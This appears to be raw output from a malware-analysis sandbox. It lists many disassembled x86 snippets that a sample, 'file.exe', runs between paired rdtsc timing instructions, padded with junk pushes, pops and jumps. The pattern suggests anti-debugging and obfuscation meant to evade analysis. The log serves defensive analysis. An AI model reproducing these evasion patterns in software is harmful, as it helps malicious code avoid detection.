Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F959A second address: 11F95A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnc 00007FF3F8FBCCA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F96FA second address: 11F9700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9860 second address: 11F9872 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF3F8FBCCA6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9872 second address: 11F9876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9876 second address: 11F9889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF3F8FBCCABh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F99CD second address: 11F99E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FF3F8BEF696h 0x0000000c popad 0x0000000d pop ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9B29 second address: 11F9B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 js 00007FF3F8FBCCAEh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9C72 second address: 11F9C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9C78 second address: 11F9CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FF3F8FBCCB3h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FF3F8FBCCB0h 0x00000012 jmp 00007FF3F8FBCCB6h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jg 00007FF3F8FBCCA6h 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9CC6 second address: 11F9CCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FEA2F second address: 11FEA46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF3F8FBCCB2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FEA46 second address: 11FEA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3F8BEF69Dh 0x00000009 jmp 00007FF3F8BEF6A4h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jo 00007FF3F8BEF6B7h 0x00000017 jmp 00007FF3F8BEF6A3h 0x0000001c jnp 00007FF3F8BEF69Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFB0F second address: 11AFB33 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF3F8FBCCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c pushad 0x0000000d xor dword ptr [ebp+12443BECh], ebx 0x00000013 mov edi, dword ptr [ebp+122D38E1h] 0x00000019 popad 0x0000001a push 00000004h 0x0000001c clc 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFB33 second address: 11AFB37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFB37 second address: 11AFB3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFB3B second address: 11AFB41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFC11 second address: 11AFC7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007FF3F8FBCCA8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push 0000001Eh 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007FF3F8FBCCA8h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov ecx, 3AED40A1h 0x00000043 nop 0x00000044 jmp 00007FF3F8FBCCB2h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jnp 00007FF3F8FBCCACh 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FED07 second address: 11FED0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FED0B second address: 11FED15 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF3F8FBCCA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FED15 second address: 11FED57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007FF3F8BEF6A6h 0x00000010 pushad 0x00000011 jmp 00007FF3F8BEF6A3h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jbe 00007FF3F8BEF696h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FED57 second address: 11FED61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FED61 second address: 11FED76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF69Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FED76 second address: 11FED7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FED7C second address: 11FED80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FED80 second address: 11FED8A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF3F8FBCCA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFAFB second address: 11AFB0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jbe 00007FF3F8BEF698h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FEEF1 second address: 11FEEF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12026F4 second address: 120270A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12029A1 second address: 12029AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12029AB second address: 12029BF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jne 00007FF3F8BEF696h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12029BF second address: 12029C9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF3F8FBCCA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209B0F second address: 1209B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209B23 second address: 1209B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209B2C second address: 1209B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A437 second address: 120A443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A443 second address: 120A44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A44E second address: 120A455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A98E second address: 120A9A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3F8BEF6A3h 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A9A9 second address: 120A9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jng 00007FF3F8FBCCC5h 0x0000000f jg 00007FF3F8FBCCA6h 0x00000015 jmp 00007FF3F8FBCCB9h 0x0000001a js 00007FF3F8FBCCC0h 0x00000020 jmp 00007FF3F8FBCCB4h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A9F3 second address: 120A9FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF3F8BEF69Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B1F1 second address: 120B1FB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF3F8FBCCA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B4A7 second address: 120B4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B760 second address: 120B76A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B76A second address: 120B78C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c jno 00007FF3F8BEF6A1h 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210549 second address: 121054D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121054D second address: 1210551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F84E second address: 120F859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FF3F8FBCCA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F9A8 second address: 120F9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FF3F8BEF696h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F9B7 second address: 120F9BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F9BB second address: 120F9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120FD68 second address: 120FD6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121000B second address: 1210024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12102A8 second address: 12102AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BEF8 second address: 121BEFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BEFE second address: 121BF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FF3F8FBCCAEh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BF0E second address: 121BF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BF12 second address: 121BF45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCACh 0x00000007 jmp 00007FF3F8FBCCB3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 js 00007FF3F8FBCCA6h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BF45 second address: 121BF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BF4D second address: 121BF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FF3F8FBCCB7h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CB2C second address: 121CB43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF3F8BEF696h 0x0000000a jbe 00007FF3F8BEF696h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CCD7 second address: 121CCDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CCDB second address: 121CCE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CCE7 second address: 121CCEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BA75 second address: 121BA8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FF3F8BEF6A3h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BA8D second address: 121BA9B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF3F8FBCCA8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BA9B second address: 121BAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BAA1 second address: 121BAA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220248 second address: 122024E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122024E second address: 1220254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220254 second address: 1220258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220258 second address: 1220265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12259D9 second address: 12259EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF69Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12259EC second address: 12259F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12259F2 second address: 12259F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12259F8 second address: 1225A0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225A0E second address: 1225A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12306CA second address: 12306CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123782D second address: 123783F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FF3F8BEF696h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123728F second address: 1237295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237295 second address: 12372AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12372AD second address: 12372B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12372B3 second address: 12372B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12466D6 second address: 12466DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124A3B7 second address: 124A3BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C613 second address: 124C61D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DDC3 second address: 124DDC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DDC7 second address: 124DDE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FF3F8FBCCB9h 0x0000000c jmp 00007FF3F8FBCCADh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F64D second address: 124F651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124F651 second address: 124F65C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253F95 second address: 1253FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FF3F8BEF696h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12542A8 second address: 12542AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254407 second address: 1254426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FF3F8BEF6A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254426 second address: 125442A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125442A second address: 1254436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF3F8BEF696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254436 second address: 125443C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125443C second address: 1254457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3F8BEF6A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254457 second address: 1254484 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF3F8FBCCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jno 00007FF3F8FBCCAEh 0x00000013 jmp 00007FF3F8FBCCABh 0x00000018 pushad 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
